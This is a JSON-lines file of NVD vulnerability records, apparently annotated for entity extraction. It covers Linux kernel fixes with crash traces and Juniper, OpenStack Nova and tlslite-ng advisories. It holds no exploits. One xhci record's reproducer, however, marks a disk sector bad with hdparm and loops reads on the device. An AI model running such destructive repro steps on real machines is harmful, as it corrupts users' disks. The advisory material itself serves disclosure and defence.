[<ffffffff980fbc9d>] __irq_exit_rcu+0xed/0x160\n[    1.227715] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: /x86/mm/ioremap.c": [[766, 783]], "FILEPATH: /23/2013": [[999, 1007]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[172, 177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50320"}}
{"text": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on MX Series allows an unauthenticated, network-based attacker to bypass the configured firewall filter and access the control-plane of the device.\n\nOn MX platforms with \n\nMPC10, MPC11, LC4800 or LC9600\n\nline cards, and MX304, firewall filters applied on a loopback interface lo0.n (where n is a non-0 number) don't get executed when lo0.n is in the global VRF / default routing-instance.\n\n An affected configuration would be:\n\nuser@host# show configuration interfaces lo0 | display set\nset interfaces lo0 unit 1 family inet filter input <filter-name>\n\nwhere a firewall filter is applied to a non-0 loopback interface, but that loopback interface is not referred to in any routing-instance (RI) configuration, which implies that it's used in the default RI.\n\nThe issue can be observed with the CLI command:\n\nuser@device> show firewall counter filter <filter_name> \n\nnot showing any matches.\n\nThis issue affects Junos OS on MX Series:\n\n  *  all versions before 23.2R2-S6,\n  *  23.4 versions before 23.4R2-S7,\n  *  24.2 versions before 24.2R2,\n  *  24.4 versions before 24.4R2.", "spans": {"ORGANIZATION: Juniper": [[111, 118]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33774"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: Handle TD clearing for multiple streams case\n\nWhen multiple streams are in use, multiple TDs might be in flight when\nan endpoint is stopped. We need to issue a Set TR Dequeue Pointer for\neach, to ensure everything is reset properly and the caches cleared.\nChange the logic so that any N>1 TDs found active for different streams\nare deferred until after the first one is processed, calling\nxhci_invalidate_cancelled_tds() again from xhci_handle_cmd_set_deq() to\nqueue another command until we are done with all of them. Also change\nthe error/\"should never happen\" paths to ensure we at least clear any\naffected TDs, even if we can't issue a command to clear the hardware\ncache, and complain loudly with an xhci_warn() if this ever happens.\n\nThis problem case dates back to commit e9df17eb1408 (\"USB: xhci: Correct\nassumptions about number of rings per endpoint.\") early on in the XHCI\ndriver's life, when stream support was first added.\nIt was then identified but not fixed nor made into a warning in commit\n674f8438c121 (\"xhci: split handling halted endpoints into two steps\"),\nwhich added a FIXME comment for the problem case (without materially\nchanging the behavior as far as I can tell, though the new logic made\nthe problem more obvious).\n\nThen later, in commit 94f339147fc3 (\"xhci: Fix failure to give back some\ncached cancelled URBs.\"), it was acknowledged again.\n\n[Mathias: commit 94f339147fc3 (\"xhci: Fix failure to give back some cached\ncancelled URBs.\") was a targeted regression fix to the previously mentioned\npatch. Users reported issues with usb stuck after unmounting/disconnecting\nUAS devices. This rolled back the TD clearing of multiple streams to its\noriginal state.]\n\nApparently the commit author was aware of the problem (yet still chose\nto submit it): It was still mentioned as a FIXME, an xhci_dbg() was\nadded to log the problem condition, and the remaining issue was mentioned\nin the commit description. The choice of making the log type xhci_dbg()\nfor what is, at this point, a completely unhandled and known broken\ncondition is puzzling and unfortunate, as it guarantees that no actual\nusers would see the log in production, thereby making it nigh\nundebuggable (indeed, even if you turn on DEBUG, the message doesn't\nreally hint at there being a problem at all).\n\nIt took me *months* of random xHC crashes to finally find a reliable\nrepro and be able to do a deep dive debug session, which could all have\nbeen avoided had this unhandled, broken condition been actually reported\nwith a warning, as it should have been as a bug intentionally left in\nunfixed (never mind that it shouldn't have been left in at all).\n\n> Another fix to solve clearing the caches of all stream rings with\n> cancelled TDs is needed, but not as urgent.\n\n3 years after that statement and 14 years after the original bug was\nintroduced, I think it's finally time to fix it. And maybe next time\nlet's not leave bugs unfixed (that are actually worse than the original\nbug), and let's actually get people to review kernel commits please.\n\nFixes xHC crashes and IOMMU faults with UAS devices when handling\nerrors/faults. Easiest repro is to use `hdparm` to mark an early sector\n(e.g. 1024) on a disk as bad, then `cat /dev/sdX > /dev/null` in a loop.\nAt least in the case of JMicron controllers, the read errors end up\nhaving to cancel two TDs (for two queued requests to different streams)\nand the one that didn't get cleared properly ends up faulting the xHC\nentirely when it tries to access DMA pages that have since been unmapped,\nreferred to by the stale TDs. This normally happens quickly (after two\nor three loops). After this fix, I left the `cat` in a loop running\novernight and experienced no xHC failures, with all read errors\nrecovered properly. Repro'd and tested on an Apple M1 Mac Mini\n(dwc3 host).\n\nOn systems without an IOMMU, this bug would instead silently corrupt\nfreed memory, making this a\n---truncated---", "spans": {"FILEPATH: /dev/sdX": [[3289, 3297]], "FILEPATH: /dev/null": [[3300, 3309]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Apple": [[3854, 3859]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40927"}}
{"text": "An issue was discovered in Guest.migrate in virt/libvirt/guest.py in OpenStack Nova before 19.3.1, 20.x before 20.3.1, and 21.0.0. By performing a soft reboot of an instance that has previously undergone live migration, a user may gain access to destination host devices that share the same paths as host devices previously referenced by the virtual machine on the source host. This can include block devices that map to different Cinder volumes at the destination than at the source. Only deployments allowing host-based connections (for instance, root and ephemeral devices) are affected.", "spans": {"FILEPATH: /libvirt/guest.py": [[48, 65]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17376"}}
{"text": "tlslite-ng is an open source python library that implements SSL and TLS cryptographic protocols. In tlslite-ng before versions 0.7.6 and 0.8.0-alpha39, the code that performs decryption and padding check in RSA PKCS#1 v1.5 decryption is data dependant. In particular, the code has multiple ways in which it leaks information about the decrypted ciphertext. It aborts as soon as the plaintext doesn't start with 0x00, 0x02. All TLS servers that enable RSA key exchange as well as applications that use the RSA decryption API directly are vulnerable. This is patched in versions 0.7.6 and 0.8.0-alpha39. Note: the patches depend on Python processing the individual bytes in side-channel free manner, this is known to not the case (see reference). As such, users that require side-channel resistance are recommended to use different TLS implementations, as stated in the security policy of tlslite-ng.", "spans": {"SYSTEM: Python": [[630, 636]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26263"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsrcu: Delegate work to the boot cpu if using SRCU_SIZE_SMALL\n\nCommit 994f706872e6 (\"srcu: Make Tree SRCU able to operate without\nsnp_node array\") assumes that cpu 0 is always online.  However, there\nreally are situations when some other CPU is the boot CPU, for example,\nwhen booting a kdump kernel with the maxcpus=1 boot parameter.\n\nOn PowerPC, the kdump kernel can hang as follows:\n...\n[    1.740036] systemd[1]: Hostname set to <xyz.com>\n[  243.686240] INFO: task systemd:1 blocked for more than 122 seconds.\n[  243.686264]       Not tainted 6.1.0-rc1 #1\n[  243.686272] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[  243.686281] task:systemd         state:D stack:0     pid:1     ppid:0      flags:0x00042000\n[  243.686296] Call Trace:\n[  243.686301] [c000000016657640] [c000000016657670] 0xc000000016657670 (unreliable)\n[  243.686317] [c000000016657830] [c00000001001dec0] __switch_to+0x130/0x220\n[  243.686333] [c000000016657890] [c000000010f607b8] __schedule+0x1f8/0x580\n[  243.686347] [c000000016657940] [c000000010f60bb4] schedule+0x74/0x140\n[  243.686361] [c0000000166579b0] [c000000010f699b8] schedule_timeout+0x168/0x1c0\n[  243.686374] [c000000016657a80] [c000000010f61de8] __wait_for_common+0x148/0x360\n[  243.686387] [c000000016657b20] [c000000010176bb0] __flush_work.isra.0+0x1c0/0x3d0\n[  243.686401] [c000000016657bb0] [c0000000105f2768] fsnotify_wait_marks_destroyed+0x28/0x40\n[  243.686415] [c000000016657bd0] [c0000000105f21b8] fsnotify_destroy_group+0x68/0x160\n[  243.686428] [c000000016657c40] [c0000000105f6500] inotify_release+0x30/0xa0\n[  243.686440] [c000000016657cb0] [c0000000105751a8] __fput+0xc8/0x350\n[  243.686452] [c000000016657d00] [c00000001017d524] task_work_run+0xe4/0x170\n[  243.686464] [c000000016657d50] [c000000010020e94] do_notify_resume+0x134/0x140\n[  243.686478] [c000000016657d80] [c00000001002eb18] interrupt_exit_user_prepare_main+0x198/0x270\n[  243.686493] [c000000016657de0] [c00000001002ec60] syscall_exit_prepare+0x70/0x180\n[  243.686505] [c000000016657e10] [c00000001000bf7c] system_call_vectored_common+0xfc/0x280\n[  243.686520] --- interrupt: 3000 at 0x7fffa47d5ba4\n[  243.686528] NIP:  00007fffa47d5ba4 LR: 0000000000000000 CTR: 0000000000000000\n[  243.686538] REGS: c000000016657e80 TRAP: 3000   Not tainted  (6.1.0-rc1)\n[  243.686548] MSR:  800000000000d033 <SF,EE,PR,ME,IR,DR,RI,LE>  CR: 42044440  XER: 00000000\n[  243.686572] IRQMASK: 0\n[  243.686572] GPR00: 0000000000000006 00007ffffa606710 00007fffa48e7200 0000000000000000\n[  243.686572] GPR04: 0000000000000002 000000000000000a 0000000000000000 0000000000000001\n[  243.686572] GPR08: 000001000c172dd0 0000000000000000 0000000000000000 0000000000000000\n[  243.686572] GPR12: 0000000000000000 00007fffa4ff4bc0 0000000000000000 0000000000000000\n[  243.686572] GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000\n[  243.686572] GPR20: 0000000132dfdc50 000000000000000e 0000000000189375 0000000000000000\n[  243.686572] GPR24: 00007ffffa606ae0 0000000000000005 000001000c185490 000001000c172570\n[  243.686572] GPR28: 000001000c172990 000001000c184850 000001000c172e00 00007fffa4fedd98\n[  243.686683] NIP [00007fffa47d5ba4] 0x7fffa47d5ba4\n[  243.686691] LR [0000000000000000] 0x0\n[  243.686698] --- interrupt: 3000\n[  243.686708] INFO: task kworker/u16:1:24 blocked for more than 122 seconds.\n[  243.686717]       Not tainted 6.1.0-rc1 #1\n[  243.686724] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[  243.686733] task:kworker/u16:1   state:D stack:0     pid:24    ppid:2      flags:0x00000800\n[  243.686747] Workqueue: events_unbound fsnotify_mark_destroy_workfn\n[  243.686758] Call Trace:\n[  243.686762] [c0000000166736e0] [c00000004fd91000] 0xc00000004fd91000 (unreliable)\n[  243.686775] [c0000000166738d0] [c00000001001dec0] __switch_to+0x130/0x220\n[  243.686788] [c000000016673930] [c000000010f607b8] __schedule+0x1f8/0x\n---truncated---", "spans": {"DOMAIN: xyz.com": [[502, 509]], "FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[653, 692], [3492, 3531]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[473, 480], [537, 544], [737, 744]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53671"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: Fix kernel crash during reboot when adapter is in recovery mode\n\nIf the driver detects during probe that firmware is in recovery\nmode then i40e_init_recovery_mode() is called and the rest of\nprobe function is skipped including pci_set_drvdata(). Subsequent\ni40e_shutdown() called during shutdown/reboot dereferences NULL\npointer as pci_get_drvdata() returns NULL.\n\nTo fix call pci_set_drvdata() also during entering to recovery mode.\n\nReproducer:\n1) Lets have i40e NIC with firmware in recovery mode\n2) Run reboot\n\nResult:\n[  139.084698] i40e: Intel(R) Ethernet Connection XL710 Network Driver\n[  139.090959] i40e: Copyright (c) 2013 - 2019 Intel Corporation.\n[  139.108438] i40e 0000:02:00.0: Firmware recovery mode detected. Limiting functionality.\n[  139.116439] i40e 0000:02:00.0: Refer to the Intel(R) Ethernet Adapters and Devices User Guide for details on firmware recovery mode.\n[  139.129499] i40e 0000:02:00.0: fw 8.3.64775 api 1.13 nvm 8.30 0x8000b78d 1.3106.0 [8086:1583] [15d9:084a]\n[  139.215932] i40e 0000:02:00.0 enp2s0f0: renamed from eth0\n[  139.223292] i40e 0000:02:00.1: Firmware recovery mode detected. Limiting functionality.\n[  139.231292] i40e 0000:02:00.1: Refer to the Intel(R) Ethernet Adapters and Devices User Guide for details on firmware recovery mode.\n[  139.244406] i40e 0000:02:00.1: fw 8.3.64775 api 1.13 nvm 8.30 0x8000b78d 1.3106.0 [8086:1583] [15d9:084a]\n[  139.329209] i40e 0000:02:00.1 enp2s0f1: renamed from eth0\n...\n[  156.311376] BUG: kernel NULL pointer dereference, address: 00000000000006c2\n[  156.318330] #PF: supervisor write access in kernel mode\n[  156.323546] #PF: error_code(0x0002) - not-present page\n[  156.328679] PGD 0 P4D 0\n[  156.331210] Oops: 0002 [#1] PREEMPT SMP NOPTI\n[  156.335567] CPU: 26 PID: 15119 Comm: reboot Tainted: G            E      6.2.0+ #1\n[  156.343126] Hardware name: Abacus electric, s.r.o. - servis@abacus.cz Super Server/H12SSW-iN, BIOS 2.4 04/13/2022\n[  156.353369] RIP: 0010:i40e_shutdown+0x15/0x130 [i40e]\n[  156.358430] Code: c1 fc ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 0f 1f 44 00 00 55 48 89 fd 53 48 8b 9f 48 01 00 00 <f0> 80 8b c2 06 00 00 04 f0 80 8b c0 06 00 00 08 48 8d bb 08 08 00\n[  156.377168] RSP: 0018:ffffb223c8447d90 EFLAGS: 00010282\n[  156.382384] RAX: ffffffffc073ee70 RBX: 0000000000000000 RCX: 0000000000000001\n[  156.389510] RDX: 0000000080000001 RSI: 0000000000000246 RDI: ffff95db49988000\n[  156.396634] RBP: ffff95db49988000 R08: ffffffffffffffff R09: ffffffff8bd17d40\n[  156.403759] R10: 0000000000000001 R11: ffffffff8a5e3d28 R12: ffff95db49988000\n[  156.410882] R13: ffffffff89a6fe17 R14: ffff95db49988150 R15: 0000000000000000\n[  156.418007] FS:  00007fe7c0cc3980(0000) GS:ffff95ea8ee80000(0000) knlGS:0000000000000000\n[  156.426083] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  156.431819] CR2: 00000000000006c2 CR3: 00000003092fc005 CR4: 0000000000770ee0\n[  156.438944] PKRU: 55555554\n[  156.441647] Call Trace:\n[  156.444096]  <TASK>\n[  156.446199]  pci_device_shutdown+0x38/0x60\n[  156.450297]  device_shutdown+0x163/0x210\n[  156.454215]  kernel_restart+0x12/0x70\n[  156.457872]  __do_sys_reboot+0x1ab/0x230\n[  156.461789]  ? vfs_writev+0xa6/0x1a0\n[  156.465362]  ? __pfx_file_free_rcu+0x10/0x10\n[  156.469635]  ? __call_rcu_common.constprop.85+0x109/0x5a0\n[  156.475034]  do_syscall_64+0x3e/0x90\n[  156.478611]  entry_SYSCALL_64_after_hwframe+0x72/0xdc\n[  156.483658] RIP: 0033:0x7fe7bff37ab7", "spans": {"EMAIL: servis@abacus.cz": [[1947, 1963]], "FILEPATH: /13/2022": [[1999, 2007]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[619, 624], [716, 721], [873, 878], [1270, 1275]], "VULNERABILITY: NULL pointer dereference": [[1560, 1584]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53114"}}
{"text": "An Uncontrolled Resource Consumption vulnerability in the PFE management daemon (evo-pfemand) of Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause an FPC crash leading to a Denial of Service (DoS). When a specific SNMP GET operation or a specific CLI command is executed this will cause a GUID resource leak, eventually leading to exhaustion and result in an FPC crash and reboot. GUID exhaustion will trigger a syslog message like one of the following for example: evo-pfemand[<pid>]: get_next_guid: Ran out of Guid Space ... evo-aftmand-zx[<pid>]: get_next_guid: Ran out of Guid Space ... This leak can be monitored by running the following command and taking note of the value in the rightmost column labeled Guids: user@host> show platform application-info allocations app evo-pfemand | match \"IFDId|IFLId|Context\" Node Application Context Name Live Allocs Fails Guids re0 evo-pfemand net::juniper::interfaces::IFDId 0 3448 0 3448 re0 evo-pfemand net::juniper::interfaces::IFLId 0 561 0 561 user@host> show platform application-info allocations app evo-pfemand | match \"IFDId|IFLId|Context\" Node Application Context Name Live Allocs Fails Guids re0 evo-pfemand net::juniper::interfaces::IFDId 0 3784 0 3784 re0 evo-pfemand net::juniper::interfaces::IFLId 0 647 0 647 This issue affects Juniper Networks Junos OS Evolved: All versions prior to 20.4R3-S3-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO versions prior to 21.2R3-S4-EVO; 21.3-EVO version 21.3R1-EVO and later versions; 21.4-EVO versions prior to 21.4R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[97, 104], [1333, 1340]], "VULNERABILITY: Uncontrolled Resource Consumption": [[3, 36]], "VULNERABILITY: Denial of Service": [[216, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22400"}}
{"text": "A vulnerability in the BGP FlowSpec implementation may cause a Juniper Networks Junos OS device to terminate an established BGP session upon receiving a specific BGP FlowSpec advertisement. The BGP NOTIFICATION message that terminates an established BGP session is sent toward the peer device that originally sent the specific BGP FlowSpec advertisement. This specific BGP FlowSpec advertisement received from a BGP peer might get propagated from a Junos OS device running the fixed release to another device that is vulnerable causing BGP session termination downstream. This issue affects IPv4 and IPv6 BGP FlowSpec deployment. This issue affects Juniper Networks Junos OS: 12.3; 12.3X48 on SRX Series; 14.1X53 on EX and QFX Series; 15.1 versions prior to 15.1R7-S5; 15.1F versions prior to 15.1F6-S13; 15.1X49 versions prior to 15.1X49-D180 on SRX Series; 15.1X53 versions prior to 15.1X53-D238 on QFX5200/QFX5110; 15.1X53 versions prior to 15.1X53-D497 on NFX Series; 15.1X53 versions prior to 15.1X53-D592 on EX2300/EX3400; 16.1 versions prior to 16.1R7-S7; 17.1 versions prior to 17.1R2-S12, 17.1R3; 17.2 versions prior to 17.2R2-S7, 17.2R3; 17.2X75 versions prior to 17.2X75-D102, 17.2X75-D110, 17.2X75-D44; 17.3 versions prior to 17.3R2-S5, 17.3R3-S5; 17.4 versions prior to 17.4R1-S8, 17.4R2; 18.1 versions prior to 18.1R2-S4, 18.1R3; 18.2X75 versions prior to 18.2X75-D20.", "spans": {"ORGANIZATION: Juniper": [[63, 70], [649, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1613"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx5: Fix fortify source warning while accessing Eth segment\n\n ------------[ cut here ]------------\n memcpy: detected field-spanning write (size 56) of single field \"eseg->inline_hdr.start\" at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 (size 2)\n WARNING: CPU: 0 PID: 293779 at /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c:131 mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n Modules linked in: 8021q garp mrp stp llc rdma_ucm(OE) rdma_cm(OE) iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_umad(OE) mlx5_ib(OE) ib_uverbs(OE) ib_core(OE) mlx5_core(OE) pci_hyperv_intf mlxdevm(OE) mlx_compat(OE) tls mlxfw(OE) psample nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables libcrc32c nfnetlink mst_pciconf(OE) knem(OE) vfio_pci vfio_pci_core vfio_iommu_type1 vfio iommufd irqbypass cuse nfsv3 nfs fscache netfs xfrm_user xfrm_algo ipmi_devintf ipmi_msghandler binfmt_misc crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha512_ssse3 snd_pcsp aesni_intel crypto_simd cryptd snd_pcm snd_timer joydev snd soundcore input_leds serio_raw evbug nfsd auth_rpcgss nfs_acl lockd grace sch_fq_codel sunrpc drm efi_pstore ip_tables x_tables autofs4 psmouse virtio_net net_failover failover floppy\n  [last unloaded: mlx_compat(OE)]\n CPU: 0 PID: 293779 Comm: ssh Tainted: G           OE      6.2.0-32-generic #32~22.04.1-Ubuntu\n Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011\n RIP: 0010:mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n Code: 0c 01 00 a8 01 75 25 48 8b 75 a0 b9 02 00 00 00 48 c7 c2 10 5b fd c0 48 c7 c7 80 5b fd c0 c6 05 57 0c 03 00 01 e8 95 4d 93 da <0f> 0b 44 8b 4d b0 4c 8b 45 c8 48 8b 4d c0 e9 49 fb ff ff 41 0f b7\n RSP: 0018:ffffb5b48478b570 EFLAGS: 00010046\n RAX: 0000000000000000 RBX: 0000000000000001 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: ffffb5b48478b628 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: ffffb5b48478b5e8\n R13: ffff963a3c609b5e R14: ffff9639c3fbd800 R15: ffffb5b480475a80\n FS:  00007fc03b444c80(0000) GS:ffff963a3dc00000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000556f46bdf000 CR3: 0000000006ac6003 CR4: 00000000003706f0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n Call Trace:\n  <TASK>\n  ? show_regs+0x72/0x90\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  ? __warn+0x8d/0x160\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  ? report_bug+0x1bb/0x1d0\n  ? handle_bug+0x46/0x90\n  ? exc_invalid_op+0x19/0x80\n  ? asm_exc_invalid_op+0x1b/0x20\n  ? mlx5_ib_post_send+0x191b/0x1a60 [mlx5_ib]\n  mlx5_ib_post_send_nodrain+0xb/0x20 [mlx5_ib]\n  ipoib_send+0x2ec/0x770 [ib_ipoib]\n  ipoib_start_xmit+0x5a0/0x770 [ib_ipoib]\n  dev_hard_start_xmit+0x8e/0x1e0\n  ? validate_xmit_skb_list+0x4d/0x80\n  sch_direct_xmit+0x116/0x3a0\n  __dev_xmit_skb+0x1fd/0x580\n  __dev_queue_xmit+0x284/0x6b0\n  ? _raw_spin_unlock_irq+0xe/0x50\n  ? __flush_work.isra.0+0x20d/0x370\n  ? push_pseudo_header+0x17/0x40 [ib_ipoib]\n  neigh_connected_output+0xcd/0x110\n  ip_finish_output2+0x179/0x480\n  ? __smp_call_single_queue+0x61/0xa0\n  __ip_finish_output+0xc3/0x190\n  ip_finish_output+0x2e/0xf0\n  ip_output+0x78/0x110\n  ? __pfx_ip_finish_output+0x10/0x10\n  ip_local_out+0x64/0x70\n  __ip_queue_xmit+0x18a/0x460\n  ip_queue_xmit+0x15/0x30\n  __tcp_transmit_skb+0x914/0x9c0\n  tcp_write_xmit+0x334/0x8d0\n  tcp_push_one+0x3c/0x60\n  tcp_sendmsg_locked+0x2e1/0xac0\n  tcp_sendmsg+0x2d/0x50\n  inet_sendmsg+0x43/0x90\n  sock_sendmsg+0x68/0x80\n  sock_write_iter+0x93/0x100\n  vfs_write+0x326/0x3c0\n  ksys_write+0xbd/0xf0\n  ? do_syscall_64+0x69/0x90\n  __x64_sys_write+0x19/0x30\n  do_syscall_\n---truncated---", "spans": {"FILEPATH: /var/lib/dkms/mlnx-ofed-kernel/5.8/build/drivers/infiniband/hw/mlx5/wr.c": [[267, 339], [385, 457]], "FILEPATH: /01/2011": [[1643, 1651]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[1625, 1628]], "ORGANIZATION: Red Hat": [[1617, 1624]], "ORGANIZATION: Ubuntu": [[1594, 1600]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26907"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Get user_ns from in_skb in unix_diag_get_exact().\n\nWei Chen reported a NULL deref in sk_user_ns() [0][1], and Paolo diagnosed\nthe root cause: in unix_diag_get_exact(), the newly allocated skb does not\nhave sk. [2]\n\nWe must get the user_ns from the NETLINK_CB(in_skb).sk and pass it to\nsk_diag_fill().\n\n[0]:\nBUG: kernel NULL pointer dereference, address: 0000000000000270\n#PF: supervisor read access in kernel mode\n#PF: error_code(0x0000) - not-present page\nPGD 12bbce067 P4D 12bbce067 PUD 12bc40067 PMD 0\nOops: 0000 [#1] PREEMPT SMP\nCPU: 0 PID: 27942 Comm: syz-executor.0 Not tainted 6.1.0-rc5-next-20221118 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org 04/01/2014\nRIP: 0010:sk_user_ns include/net/sock.h:920 [inline]\nRIP: 0010:sk_diag_dump_uid net/unix/diag.c:119 [inline]\nRIP: 0010:sk_diag_fill+0x77d/0x890 net/unix/diag.c:170\nCode: 89 ef e8 66 d4 2d fd c7 44 24 40 00 00 00 00 49 8d 7c 24 18 e8\n54 d7 2d fd 49 8b 5c 24 18 48 8d bb 70 02 00 00 e8 43 d7 2d fd <48> 8b\n9b 70 02 00 00 48 8d 7b 10 e8 33 d7 2d fd 48 8b 5b 10 48 8d\nRSP: 0018:ffffc90000d67968 EFLAGS: 00010246\nRAX: ffff88812badaa48 RBX: 0000000000000000 RCX: ffffffff840d481d\nRDX: 0000000000000465 RSI: 0000000000000000 RDI: 0000000000000270\nRBP: ffffc90000d679a8 R08: 0000000000000277 R09: 0000000000000000\nR10: 0001ffffffffffff R11: 0001c90000d679a8 R12: ffff88812ac03800\nR13: ffff88812c87c400 R14: ffff88812ae42210 R15: ffff888103026940\nFS:  00007f08b4e6f700(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000270 CR3: 000000012c58b000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n unix_diag_get_exact net/unix/diag.c:285 [inline]\n unix_diag_handler_dump+0x3f9/0x500 net/unix/diag.c:317\n __sock_diag_cmd net/core/sock_diag.c:235 [inline]\n sock_diag_rcv_msg+0x237/0x250 net/core/sock_diag.c:266\n netlink_rcv_skb+0x13e/0x250 net/netlink/af_netlink.c:2564\n sock_diag_rcv+0x24/0x40 net/core/sock_diag.c:277\n netlink_unicast_kernel net/netlink/af_netlink.c:1330 [inline]\n netlink_unicast+0x5e9/0x6b0 net/netlink/af_netlink.c:1356\n netlink_sendmsg+0x739/0x860 net/netlink/af_netlink.c:1932\n sock_sendmsg_nosec net/socket.c:714 [inline]\n sock_sendmsg net/socket.c:734 [inline]\n ____sys_sendmsg+0x38f/0x500 net/socket.c:2476\n ___sys_sendmsg net/socket.c:2530 [inline]\n __sys_sendmsg+0x197/0x230 net/socket.c:2559\n __do_sys_sendmsg net/socket.c:2568 [inline]\n __se_sys_sendmsg net/socket.c:2566 [inline]\n __x64_sys_sendmsg+0x42/0x50 net/socket.c:2566\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x4697f9\nCode: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48\n89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d\n01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f08b4e6ec48 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 000000000077bf80 RCX: 00000000004697f9\nRDX: 0000000000000000 RSI: 00000000200001c0 RDI: 0000000000000003\nRBP: 00000000004d29e9 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 000000000077bf80\nR13: 0000000000000000 R14: 000000000077bf80 R15: 00007ffdb36bc6c0\n </TASK>\nModules linked in:\nCR2: 0000000000000270\n\n[1]: https://lore.kernel.org/netdev/CAO4mrfdvyjFpokhNsiwZiP-wpdSD0AStcJwfKcKQdAALQ9_2Qw@mail.gmail.com/\n[2]: https://lore.kernel.org/netdev/e04315e7c90d9a75613f3993c2baf2d344eef7eb.camel@redhat.com/", "spans": {"URL: https://lore.kernel.org/netdev/CAO4mrfdvyjFpokhNsiwZiP-wpdSD0AStcJwfKcKQdAALQ9_2Qw@mail.gmail.com/": [[3572, 3670]], "URL: https://lore.kernel.org/netdev/e04315e7c90d9a75613f3993c2baf2d344eef7eb.camel@redhat.com/": [[3676, 3765]], "DOMAIN: rel-1.13.0-48-gd9c812dda519-prebuilt.qemu.org": [[749, 794]], "FILEPATH: /01/2014": [[797, 805]], "FILEPATH: /net/sock.h": [[834, 845]], "FILEPATH: /unix/diag.c": [[889, 901], [953, 965], [1913, 1925], [1978, 1990]], "FILEPATH: /core/sock_diag.c": [[2015, 2032], [2080, 2097], [2189, 2206]], "FILEPATH: /netlink/af_netlink.c": [[2134, 2155], [2238, 2259], [2306, 2327], [2365, 2386]], "FILEPATH: /x86/entry/common.c": [[2770, 2789], [2831, 2850]], "FILEPATH: socket.c": [[2416, 2424], [2456, 2464], [2511, 2519], [2545, 2553], [2599, 2607], [2635, 2643], [2680, 2688], [2736, 2744]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[704, 708]], "VULNERABILITY: NULL pointer dereference": [[397, 421]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48970"}}
